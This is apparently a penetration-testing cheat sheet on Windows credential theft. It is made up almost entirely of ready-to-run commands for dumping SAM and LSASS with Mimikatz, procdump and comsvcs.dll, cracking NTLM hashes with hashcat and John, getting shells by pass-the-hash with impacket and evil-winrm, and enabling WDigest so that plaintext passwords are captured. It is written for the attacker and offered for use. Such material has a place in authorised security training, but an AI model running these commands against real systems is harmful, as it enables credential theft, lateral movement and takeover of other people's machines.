Skip to content
HackIndex logo

HackIndex

Windows Password Attacks – Hash Dumping and Cracking

4 min read May 15, 2026

Once you have local admin or SYSTEM access, dumping password hashes from SAM and LSASS gives you credentials for every local account. Hashes can be used directly for pass-the-hash authentication or cracked offline for plaintext passwords. Plaintext passwords from LSASS unlock additional lateral movement and privilege escalation opportunities.

Prerequisites Check

Hash dumping from SAM requires local admin. LSASS dumping requires SeDebugPrivilege (present for local admins by default):

C:\Users\Guest\Desktop> whoami /priv | findstr SeDebugPrivilege
C:\Users\Guest\Desktop> net localgroup administrators | findstr %USERNAME%

SAM Database — Local Account Hashes

The SAM database contains NTLM hashes for all local accounts. It is locked while Windows is running but can be copied via reg save or Volume Shadow Copy.

Method 1 — reg save (requires local admin):

C:\Users\Guest\Desktop> reg save HKLM\SAM C:\Windows\Temp\SAM
C:\Users\Guest\Desktop> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

Transfer to attack box and extract:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Method 2 — Remote extraction (if you have admin creds):

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump DOMAIN/Administrator:Password@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump -hashes :NTHASH Administrator@$TARGET_IP

LSASS — Plaintext Passwords and Hashes

LSASS caches logon session credentials in memory. On Windows with WDigest enabled (older systems), plaintext passwords are available. On modern Windows, you typically get NTLM hashes and Kerberos tickets.

Method 1 — Mimikatz (in-memory):

C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Output includes plaintext passwords (if WDigest is enabled) and NTLM hashes for all logged-in users.

Method 2 — Mimikatz one-liner:

C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "lsadump::sam" "exit" > C:\Windows\Temp\loot.txt

Method 3 — LSASS memory dump (AV-evasive):

Create a minidump of LSASS without running mimikatz on the target:

C:\Users\Guest\Desktop> # Task Manager method (GUI)
C:\Users\Guest\Desktop> # Open Task Manager → Details → lsass.exe → Right-click → Create dump file
 
C:\Users\Guest\Desktop> # ProcDump (Sysinternals)
C:\Users\Guest\Desktop> .\procdump.exe -ma lsass.exe C:\Windows\Temp\lsass.dmp
 
C:\Users\Guest\Desktop> # comsvcs.dll method (built-in, no extra binary)
C:\Users\Guest\Desktop> powershell "Get-Process lsass | %{C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $($_.Id) C:\Windows\Temp\lsass.dmp full;Break}"
 
C:\Users\Guest\Desktop> # Task Scheduler method
C:\Users\Guest\Desktop> schtasks /create /sc once /st 00:00 /tn lsass_dump /tr "C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full" /ru SYSTEM

Transfer the dump to your attack box and extract with mimikatz:

┌──(kali㉿kali)-[~]
└─$ # On attack box using pypykatz
┌──(kali㉿kali)-[~]
└─$ pipx install pypykatz
┌──(kali㉿kali)-[~]
└─$ pypykatz lsa minidump lsass.dmp

Or on Windows with mimikatz:

C:\Users\Guest\Desktop> .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" "exit"

Cracking NTLM Hashes

┌──(kali㉿kali)-[~]
└─$ # Hashcat — very fast with GPU
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
┌──(kali㉿kali)-[~]
└─$ hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
┌──(kali㉿kali)-[~]
└─$ # John — CPU-based
┌──(kali㉿kali)-[~]
└─$ john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Identify hash format
┌──(kali㉿kali)-[~]
└─$ hashid "NTHASH"

Format for hashcat: just the NT hash (32 hex chars). Format for john: username:hash or just the hash.

Pass-the-Hash

Use the NT hash directly without cracking:

┌──(kali㉿kali)-[~]
└─$ # Get a shell via psexec
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -hashes :NTHASH Administrator@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # WMI execution
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec -hashes :NTHASH Administrator@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # SMB exec
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec -hashes :NTHASH Administrator@$TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # WinRM
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u Administrator -H NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # CrackMapExec for verification
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Administrator -H NTHASH

Enable WDigest for Plaintext Passwords

On targets where WDigest is disabled (Windows 8.1+ default), enable it and wait for the user to log in again:

C:\Users\Guest\Desktop> reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

After the user logs out and back in, plaintext passwords are available in LSASS.

LSA Secrets — Service Account Passwords

LSA secrets contain service account passwords, auto-logon passwords, and other system secrets:

┌──(kali㉿kali)-[~]
└─$ # Remote extraction
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump DOMAIN/Administrator:Password@$TARGET_IP -just-dc-user krbtgt
 
┌──(kali㉿kali)-[~]
└─$ # Local extraction (requires SYSTEM)
┌──(kali㉿kali)-[~]
└─$ .\mimikatz.exe "privilege::debug" "lsadump::secrets" "exit"

References